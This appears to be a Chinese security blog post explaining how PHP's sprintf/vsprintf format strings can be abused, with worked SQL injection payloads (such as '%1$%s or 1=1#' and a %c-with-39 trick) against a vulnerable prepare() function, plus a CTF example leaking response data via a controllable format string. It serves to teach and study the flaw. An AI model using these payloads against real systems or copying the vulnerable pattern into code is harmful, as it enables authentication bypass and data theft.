php中的字符串格式化漏洞

php中的字符串格式化漏洞

字符串格式化函数

php中有多个字符串格式化函数,分别是printf()sprintf()vsprintf()

1
2
3
printf($format[, $args])  ==> int         直接将格式化的结果输出,返回值为int类型(输出字符串的长度)
sprintf($format[, $args]) ==> string 返回格式化字符串的结果,失败返回false
vsprintf($format, array $args) ==> intprintf()相似,不同之处在于参数是以数组的方式传入

**参数format**:
必需。规定字符串以及如何格式化其中的变量。
可能的格式值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
- %% - 返回一个百分号 %
- %b - 二进制数
- %c - ASCII 值对应的字符
- %d - 包含正负号的十进制数(负数、0、正数)
- %e - 使用小写的科学计数法(例如 1.2e+2
- %E - 使用大写的科学计数法(例如 1.2E+2
- %u - 不包含正负号的十进制数(大于等于 0
- %f - 浮点数(本地设置)
- %F - 浮点数(非本地设置)
- %g - 较短的 %e 和 %f
- %G - 较短的 %E 和 %f
- %o - 八进制数
- %s - 字符串
- %x - 十六进制数(小写字母)
- %X - 十六进制数(大写字母)

附加的格式值。必需放置在%和字母之间(例如%.2f):

1
2
3
4
5
+    - 在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记
' - 规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充)
- - 左调整变量值
[0-9] - 规定变量值的最小宽度
.[0-9] - 规定小数位数或最大字符串长度

注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。

举个栗子:

单个参数的格式化:

1
2
3
4
5
6
7
8
9
10
11
# 普通格式化字符串和数字
var_dump(sprintf('1%s1','test')) ==> string(6) "1test1"
var_dump(sprintf('1%d1','999')) ==> string(5) "19991"

# 设置格式化字符串的长度为10,如果长度不足10,则以空格代替,如果长度超过10,则保持不变
var_dump(sprintf('1%10s1','test')) ==> string(12) "1 test1"
var_dump(sprintf('1%1s1','test')) ==> string(6) "1test1"

# 设置格式化字符串的长度为10,如果长度不足10,则以#填充,如果超过该长度,则保持不变
var_dump(sprintf("1%'#10s1",'test')) ==> string(12) "1######test1"
var_dump(sprintf("1%'#1s1",'test')) ==> string(6) "1test1"

多个参数的格式化:

1
2
3
4
5
6
7
8
9
$num = 1;
$str = "test";

# 通过位置对应参数
var_dump(sprintf("a %d b %s", $num, $str)) ==> string(10) "a 1 b test"
var_dump(sprintf("a %s b %d", $str, $num)) ==> string(10) "a test b 1"

# 通过序号占位符对应参数(%2$ 表示其对应第二个参数,%1$ 表示对应第一个参数)
var_dump(sprintf('a %2$s b %1$d', $num, $str)) ==> string(10) "a test b 1"

格式化字符串特性

多参数字符串格式化时,传入的参数个数不能比格式字符串中声明的参数数量少,否则将发生错误而返回false,无法进行格式化
但是下面的这种除外:

1
2
3
var_dump(sprintf('a %1$s b %s', 'test'))            ==>  string(13) "a test b test"
var_dump(sprintf('a %1$s b %s', 'test1', 'test2')) ==> string(15) "a test1 b test1"
var_dump(sprintf('a %1$s b %s c %2$s d %s', 'test1', 'test2')) ==> string(31) "a test1 b test1 c test2 d test2"

也就是说,格式字符串中 位置对应参数 不受 序号对应参数 的影响

前面讲到了sprintf中可以格式化的类型,也就是**参数format**中用来参数占位的%类型,如果遇到无法识别的格式化类型,则会格式化失败,将其丢弃。
比如:

1
2
3
var_dump(sprintf('a %ab','test'))       ==> string(3) "a b"
var_dump(sprintf('a %1$ab','test')) ==> string(3) "a b"
var_dump(sprintf('a %1$a%s b','test')) ==> string(8) "a test b"

吞掉单引号

1
2
# 使用#填充,最后长度为10
var_dump(sprintf("%1$'#10s", 'test')) ==> string(10) "######test"

再看看这个:

1
var_dump(sprintf("%1$'%s", 'test'))       ==> string(4) "test"

由于%'无法被识别,所以%1$'将会被丢弃,剩余的%s进行格式化,结果为为test

吞掉单引号的漏洞常常发生在sql语句中,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
function prepare($query, $args) {
$query = str_replace("'%s'", '%s', $query);
$query = str_replace('"%s"', '$s', $query);
$query = preg_replace('/(?<!%)%f/','%F', $query);
$query = preg_replace('/(?<!%)%s/', "'%s'", $query); //(?<!...) 否定逆序环视 向左看看,左边不出现环视中的内容才匹配
return @vsprintf($query,$args);
}

$username = $_POST['username'];
$password = $_POST['password'];
if preg_match
$a = prepare("AND password=%s", $password);
$sql = prepare("SELECT * FROM users WHERE username=%s $a", $username);

函数prepare()会去掉格式化字符串%s的单引号和双引号,同时在最后加上单引号。虽然最后加上了一个',但是我们还是有办法能够逃脱这个单引号.

利用%1$'%s

之前讲到sprintf("%1$'%s", 'test')会丢弃%1$'从而吞掉其中的单引号,利用这一点,我们可以传入

1
2
$username=%1$%s or 1=1#
$password=admin

这样经过$a = prepare("AND password=%s", $password) 的结果是:AND password='%1$%s or 1=1#'
拼接到$sql中的prepare函数中就是:SELECT * FROM users WHERE username=%s AND password='%1$%s or 1=1#'
之后再$query = preg_replace('/(?<!%)%s/', "'%s'", $query),会将%s替换成'%s',也就变成了SELECT * FROM users WHERE username='%s' AND password='%1$'%s' or 1=1#',产生了%1$'%s,可以吃掉该单引号
最后经过prepare函数的$sql就是:SELECT * FROM users WHERE username='admin' AND password='admin' or 1=1#'

可见,我们没有直接使用单引号却产生了传入单引号的效果

利用preg_replace('/(?<!%)%s/', "'%s'", $query)引入单引号

之前利用的吃掉单引号的方式,那能不能引入单号呢?

先看一看:

1
2
3
$query = '1 %s 2';
$query = preg_replace('|(?<!%)%s|', "'%s'", $query); ==> 得到 1 '%s' 2
$query = preg_replace('|(?<!%)%s|', "'%s'", $query); ==> 得到 1 ''%s'' 2

可以看到,这里的%s通过两次添加的单引号而逃逸了出来

这里如果设置

1
2
$username = ['admin', 'or 1=1#'];
$password = '%s ';

则经过$a = prepare("AND password=%s", $password)后的$aAND password='%s '
拼接后再经过preg_replace('|(?<!%)%s|', "'%s'", $query)后为SELECT * FROM users WHERE username='%s' AND password=''%s' '
可以看到,这里已经出现了两个%s并且后一个%s逃逸出了单引号的包裹

最后再将$username的内容填充进去即可得到SELECT * FROM users WHERE username='admin' AND password=''or 1=1#' '

使用%c创建出单引号

php提供了%c类型,其功能类似chr()的效果,可以将ascii码转为字符

比如:

1
2
var_dump(sprintf('%1$d->%1$c', 97))      ==> string(5) "97->a"
var_dump(sprintf('%1$d->%1$c', 39)) ==> string(5) "39->'"

因此,对于上面的例子,还可以传入:

1
2
$username = '39';
$password = '%1$cor 1=1#';

通过$a = prepare("AND password=%s", $password)$a的内容为AND password='%1$cor 1=1#'
拼接之后为:SELECT * FROM users WHERE username=%s AND password='%1$cor 1=1#'
之后经过preg_replace('/(?<!%)%s/', "'%s'", $query)之后变为SELECT * FROM users WHERE username=%s AND password='%1$cor 1=1#'
最后再将参数填充进去变成:SELECT * FROM users WHERE username='39' AND password=''or 1=1#'

其他利用

这里举一个极客大挑战2019的服务端检测系统这个题的一个例子,
其中相关代码

1
echo sprintf("body length of $method%d", $body);

其中$method为我们可控的,$body是请求返回的内容,是字符串类型

我们的目的是获取$body中的内容,而这里是用的%d,也就是数字类型,正常情况下使无法获得$body中的内容的。
但是前面的字符串中存在可控的$method,所以可以重新构造前面格式字符串的格式

设置$method%s%,这样拼接后就成了sprintf("body length of %s%%d", $body)
或者利用序号对应参数:$method=%1$s,拼接后成了sprintf("body length of %1$s%d", $body)

都可以将$body的内容显示出来

总结

其实字符串格式化没有什么问题,只是当格式化的format可控时,就可能产生漏洞,这也是利用的必要条件。

文章作者: Dar1in9
文章链接: http://dar1in9s.github.io/2020/04/26/php/php中的字符串格式化漏洞/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Dar1in9's Blog